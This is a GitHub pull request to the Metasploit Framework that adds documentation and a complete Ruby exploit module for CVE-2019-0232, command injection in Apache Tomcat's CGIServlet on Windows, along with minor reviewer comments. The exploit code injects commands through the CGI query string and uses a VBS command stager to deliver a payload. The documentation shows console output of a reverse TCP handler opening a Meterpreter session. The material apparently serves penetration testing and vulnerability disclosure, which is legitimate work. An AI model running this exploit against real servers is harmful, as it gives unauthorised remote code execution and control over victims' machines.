-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability #11990
Changes from 2 commits
585a434
4a32164
16cfd3f
0cec80b
2fb129a
b59fd43
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,102 @@ | ||
## Description | ||
|
||
This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the enableCmdLineArguments setting is set to true, a remote user can abuse this to execute system commands, and gain remote code execution. | ||
|
||
## Vulnerable Application | ||
|
||
The following versions of Apache Tomcat on Windows are effected: | ||
|
||
* 9.0.0.M1 to 9.0.17 | ||
* 8.5.0 to 8.5.39 | ||
* 7.0.0 to 7.0.93 | ||
|
||
Also, the machine needs to enable the enableCmdLineArguments option in web.xml. For example: | ||
|
||
```xml | ||
<servlet> | ||
<servlet-name>cgi</servlet-name> | ||
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class> | ||
<init-param> | ||
<param-name>cgiPathPrefix</param-name> | ||
<param-value>WEB-INF/cgi</param-value> | ||
</init-param> | ||
<init-param> | ||
<param-name>executable</param-name> | ||
<param-value></param-value> | ||
</init-param> | ||
<init-param> | ||
<param-name>enableCmdLineArguments</param-name> | ||
<param-value>true</param-value> | ||
</init-param> | ||
<load-on-startup>5</load-on-startup> | ||
</servlet> | ||
``` | ||
|
||
Also: | ||
|
||
```xml | ||
<servlet-mapping> | ||
<servlet-name>cgi</servlet-name> | ||
<url-pattern>/cgi/*</url-pattern> | ||
</servlet-mapping> | ||
``` | ||
|
||
wchen-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
Finally, a script needs to be available in the webapps\ROOT\WEB-INF\cgi directory. For example: | ||
wchen-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
``` | ||
@echo off | ||
echo Content-Type: text/plain | ||
echo. | ||
echo Hello, World! | ||
``` | ||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
2. Do: `use windows/http/tomcat_cgi_cmdlineargs` | ||
wchen-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
3. Configure rhosts | ||
4. Configure TARGETURI | ||
5. Set a payload | ||
6. Run the module, you should get a session. | ||
|
||
## Scenarios | ||
|
||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
|
||
### Check Method | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. add an extra # |
||
|
||
The check method of the exploit explicitly triggers the bug to verify the vulnerable, therefore it should be accurate. To use it, here is an example: | ||
|
||
``` | ||
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > check | ||
[+] 172.16.135.141:8080 - The target is vulnerable. | ||
``` | ||
|
||
### Code Execution | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Add an extra # |
||
|
||
wchen-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
``` | ||
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > exploit | ||
|
||
[*] Started reverse TCP handler on 172.16.135.1:4444 | ||
[*] Checking if 172.16.135.141 is vulnerable | ||
[*] 172.16.135.141 seems vulnerable, what a good day. | ||
[*] Command Stager progress - 6.95% done (6999/100668 bytes) | ||
[*] Command Stager progress - 13.91% done (13998/100668 bytes) | ||
[*] Command Stager progress - 20.86% done (20997/100668 bytes) | ||
[*] Command Stager progress - 27.81% done (27996/100668 bytes) | ||
[*] Command Stager progress - 34.76% done (34995/100668 bytes) | ||
[*] Command Stager progress - 41.72% done (41994/100668 bytes) | ||
[*] Command Stager progress - 48.67% done (48993/100668 bytes) | ||
[*] Command Stager progress - 55.62% done (55992/100668 bytes) | ||
[*] Command Stager progress - 62.57% done (62991/100668 bytes) | ||
[*] Command Stager progress - 69.53% done (69990/100668 bytes) | ||
[*] Command Stager progress - 76.48% done (76989/100668 bytes) | ||
[*] Command Stager progress - 83.43% done (83988/100668 bytes) | ||
[*] Command Stager progress - 90.38% done (90987/100668 bytes) | ||
[*] Command Stager progress - 97.34% done (97986/100668 bytes) | ||
[*] Sending stage (179779 bytes) to 172.16.135.141 | ||
[*] Meterpreter session 1 opened (172.16.135.1:4444 -> 172.16.135.141:51982) at 2019-06-18 15:26:54 -0500 | ||
[*] Command Stager progress - 100.02% done (100692/100668 bytes) | ||
|
||
meterpreter > | ||
[!] Make sure to manually cleanup the exe enerated by the exploit | ||
``` | ||
|
||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Tomcat 8.5.20 with JDK 1.8.0_211-b12 on Windows 2012 (Build 9200)
|
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,122 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => 'Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability', | ||
'Description' => %q{ | ||
This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the | ||
enableCmdLineArguments setting is set to true, a remote user can abuse this to execute | ||
system commands, and gain remote code execution. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Yakov Shafranovich', # Original discovery | ||
'sinn3r' # Metasploit module | ||
], | ||
'Platform' => 'win', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Targets' => | ||
[ | ||
[ 'Apache Tomcat 9.0 or prior for Windows', { } ] | ||
], | ||
'References' => | ||
[ | ||
['CVE', '2019-0232'], | ||
['URL', 'https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/'], | ||
['URL', 'https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/'] | ||
], | ||
'Notes' => | ||
{ | ||
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ], | ||
'Reliability' => [ REPEATABLE_SESSION ], | ||
'Stability' => [ CRASH_SAFE ] | ||
}, | ||
'CmdStagerFlavor' => 'vbs', | ||
'DefaultOptions' => | ||
{ | ||
'RPORT' => 8080 | ||
}, | ||
'Privileged' => false, | ||
'DisclosureDate' => 'Apr 10 2019', # Date of public advisory issued by the vendor | ||
'DefaultTarget' => 0 | ||
)) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The URI path to CGI script', '/']) | ||
]) | ||
|
||
deregister_options('SRVHOST', 'SRVPORT', 'URIPATH') | ||
end | ||
|
||
def check | ||
sig = Rex::Text.rand_text_alpha(10) | ||
uri = normalize_uri(target_uri.path) | ||
uri << "?&echo+#{sig}" | ||
wchen-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => uri | ||
}) | ||
|
||
unless res | ||
vprint_error('No Response from server') | ||
return CheckCode::Unknown | ||
end | ||
|
||
if res.body.include?(sig) | ||
return CheckCode::Vulnerable | ||
end | ||
|
||
CheckCode::Safe | ||
end | ||
|
||
def execute_command(cmd, opts={}) | ||
# Our command stager assumes we have access to environment variables. | ||
# We don't necessarily have that, so we have to modify cscript to a full path. | ||
cmd.gsub!('cscript', 'C:\\Windows\\System32\\cscript.exe') | ||
|
||
uri = normalize_uri(target_uri.path) | ||
uri << "?&#{CGI.escape(cmd)}" | ||
wchen-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => uri | ||
}) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'No response from server') | ||
end | ||
|
||
unless res.code == 200 | ||
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}") | ||
end | ||
end | ||
|
||
# it seems we don't really have a way to retrieve the filenames from the VBS command stager, | ||
# so we need to rely on the user to cleanup the files. | ||
def on_new_session(cli) | ||
print_warning('Make sure to manually cleanup the exe enerated by the exploit') | ||
wchen-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
super | ||
end | ||
|
||
def exploit | ||
print_status("Checking if #{rhost} is vulnerable") | ||
if check == CheckCode::Vulnerable | ||
wchen-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
print_status("#{rhost} seems vulnerable, what a good day.") | ||
execute_cmdstager(flavor: :vbs, temp: '.', linemax: 7000) | ||
else | ||
print_error("#{rhost} is either not vulnerable or offline.") | ||
end | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
conf\web.xml
(i like to wrap file names and paths in ticks)